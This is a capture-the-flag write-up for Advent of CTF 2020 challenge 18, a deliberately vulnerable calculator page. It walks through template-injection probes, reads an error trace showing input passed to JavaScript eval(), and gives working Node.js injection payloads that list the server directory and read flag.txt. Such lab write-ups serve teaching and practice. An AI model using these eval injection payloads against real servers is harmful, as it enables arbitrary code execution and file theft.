Write-Up Advent of CTF 2020 Challenge 18
Overview
The NOVI University Of Applied Sciences is offering an Advent CTF challenge for December 2020.
The CTF is created by our community member of the Hackdewereld.nl and Chief Lecturer for Cyber Security at the NOVI University, Arjen Wiersma. If you want to participate in these CTF challenges, you can create an account on the website https://www.adventofctf.com
.
Challenge 18
- Description: We created a calculator for Santa to figure out how many days until Christmas remain. It is not finished yet, it will only return what you give it. Sort of. The flag is in flag.txt.
- 1800 Points
We start this challenge by visiting the challenge URL https://18.adventofctf.com
. We are ending up on this website.
There is a search box visible, with the placeholder Enter the nr of days until christmas
. We can try some numbers, and they all got reflected below the search box. We can try some default Server-Side Template Injection payloads, like {{7*7}}
and {{7*'7'}}
, but we are ending up in a situation that this website isn’t vulnerable for SSTI, also there is no SQLi injection possible.
When we are entering a string instead of a number, in this case T13nn3s
, we are receiving an error message.
This is the error message we received:
1
2
3
4
5
6
7
8
9
10
11
ReferenceError: T13nn3s is not defined
at eval (eval at <anonymous> (/opt/app/server.js:12:11), <anonymous>:1:1)
at /opt/app/server.js:12:11
at Layer.handle [as handle_request] (/opt/app/node_modules/express/lib/router/layer.js:95:5)
at next (/opt/app/node_modules/express/lib/router/route.js:137:13)
at /opt/app/node_modules/body-parser/lib/read.js:130:5
at invokeCallback (/opt/app/node_modules/raw-body/index.js:224:16)
at done (/opt/app/node_modules/raw-body/index.js:213:7)
at IncomingMessage.onEnd (/opt/app/node_modules/raw-body/index.js:273:7)
at IncomingMessage.emit (events.js:203:15)
at endReadableNT (_stream_readable.js:1145:12)
After reading this error message, we can notice that this search box is using the JavaScript eval()
function to parse incoming data. If there is no input validation, this function is vunlerable to attack. We can inject JavaScript arbitrary JavaScript code to be executed by the server.
Let’s try out our first payload process
, this will return the process object. Alternative, we can use process.pid
, it will return the PID of the current process we are in. The first payload is returning [object process]
, the second payload is returning 22
.
As we can see, this webpage is vulnerable for executing arbitrary JavaScript code. We can now develop a payload to read the contents from our current directory.
1
res.end(require('fs').readdirSync('.').toString())
We can now read the contents of the current directory and we can notice the flag.txt
file. We can now build our final payload to read the contents of this file. After some trying and developing, we are ending up with this final payload.
1
res.end(require('fs').readFileSync('flag.txt').toString())
Now we can read the flag: NOVI{N3v3r_us3_eval}
.
Thanks for reading!